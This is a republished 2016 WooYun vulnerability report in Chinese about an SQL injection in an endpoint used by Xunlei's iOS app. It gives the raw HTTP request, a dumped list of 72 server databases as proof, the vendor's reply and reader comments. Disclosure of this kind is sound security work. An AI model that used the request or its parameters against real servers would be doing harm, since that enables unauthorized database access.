迅雷(xunlei)IOS客户端某处SQL注入

admin
admin
admin
140816
文章
117
评论
2017年4月26日22:24:40评论375 views字数 202阅读0分40秒阅读模式
摘要

2016-04-12： 细节已通知厂商并且等待厂商处理中
2016-04-12： 厂商已经确认，细节仅向厂商公开
2016-04-22： 细节向核心白帽子及相关领域专家公开
2016-05-02： 细节向普通白帽子公开
2016-05-12： 细节向实习白帽子公开
2016-05-27： 细节向公众公开

漏洞概要 关注数(8) 关注此漏洞

缺陷编号： WooYun-2016-195238

漏洞标题： 迅雷(xunlei)IOS客户端某处SQL注入

相关厂商： 迅雷

漏洞作者： 路人甲

提交时间： 2016-04-12 09:27

公开时间： 2016-05-27 09:50

漏洞类型： SQL注射漏洞

危害等级： 低

自评Rank： 1

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

1人收藏

漏洞详情

披露状态：

2016-04-12： 细节已通知厂商并且等待厂商处理中
2016-04-12： 厂商已经确认，细节仅向厂商公开
2016-04-22： 细节向核心白帽子及相关领域专家公开
2016-05-02： 细节向普通白帽子公开
2016-05-12： 细节向实习白帽子公开
2016-05-27： 细节向公众公开

简要描述：

迅雷(xunlei)-ios-app-sql-injection
dba－ sqlinjection

详细说明：

GET http://m.sjzhushou.com/cgi-bin/msgList?device=iPhone7%2C2&ios_ver=9.3.1&maxCount=10&partnerId=0x20800003&peerID=e3efbe5003V&peer_id=e3efbe003V&productID=31&product_id=31&timestamp=1454238001&ver=5.13.1.2782&versionCode=51301 HTTP/1.1

Host: m.sjzhushou.com

Accept: */*

Proxy-Connection: keep-alive

Cookie: channelId=003; productId=31; version=5.13.1.2782; versionCode=51301

User-Agent: iThunder/5.13 (iPhone; iOS 9.3.1; Scale/2.00)

Accept-Language: zh-Hans-US;q=1, en-US;q=0.9

Accept-Encoding: gzip, deflate

Connection: keep-alive

漏洞证明：

迅雷(xunlei)IOS客户端某处SQL注入

迅雷(xunlei)IOS客户端某处SQL注入

code 区域 
available databases [72]:
 [*] accurate_video
 [*] android
 [*] apk_info
 [*] app_icon
 [*] btdigg
 [*] cinema
 [*] collaborative_video
 [*] combine_kankan
 [*] commons
 [*] domain
 [*] ds
 [*] fun_time
 [*] guess_love
 [*] guess_love_hate_history
 [*] guess_love_recommend_history
 [*] guess_love_runtime
 [*] hot_res
 [*] hub_conf
 [*] hub_source
 [*] index_msg_runtime
 [*] information_schema
 [*] ipad_ip
 [*] kankan
 [*] kankan_data
 [*] leida
 [*] lixian
 [*] metainfo_utf8
 [*] mid_py_hash
 [*] mk_source
 [*] mk_source_runtime
 [*] mklist
 [*] mklist_back
 [*] mklist_bakup
 [*] mobile_thunder_duanzi
 [*] mobile_thunder_res_detail
 [*] mobile_thunder_res_detail_trans
 [*] music
 [*] mysql
 [*] mzs
 [*] performance_schema
 [*] push_db
 [*] resgroup
 [*] search
 [*] search_test
 [*] short_video
 [*] site_browse
 [*] sl_question
 [*] so_kan
 [*] stat
 [*] tel_wx_share
 [*] test
 [*] test_dump
 [*] test_qp
 [*] url_info
 [*] user_collect
 [*] video
 [*] wl
 [*] wx_share
 [*] xiutan
 [*] xiutan_book
 [*] xl_book_dict
 [*] xl_book_dict_data_trans
 [*] xl_channel_runtime
 [*] xl_cinemas_runtime
 [*] xl_cloud_config
 [*] xl_source
 [*] xl_source_trans
 [*] xl_source_xt
 [*] xl_stat
 [*] xl_teleplay_runtime
 [*] xl_video_dict
 [*] xl_video_dict_trans

修复方案：

有kankan 的裤 ，迅雷相干的

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2016-04-12 09:49

厂商回复：

已知漏洞，感谢您的关注。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-05-02 19:32 | qhwlpg ( 普通白帽子 | Rank:260 漏洞数:64 | http://sec.tuniu.com)

    0

    iOS 客户端sql注入。。mark

  2. 2016-05-27 09:52 | KeyMyran ( 路人 | Rank:2 漏洞数:2 | 不是高富帅不是暖男。)

    0

    @迅雷 只给1rank，难怪你其他分站站都被黑了好几天人家也不发平台上来告诉你。

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin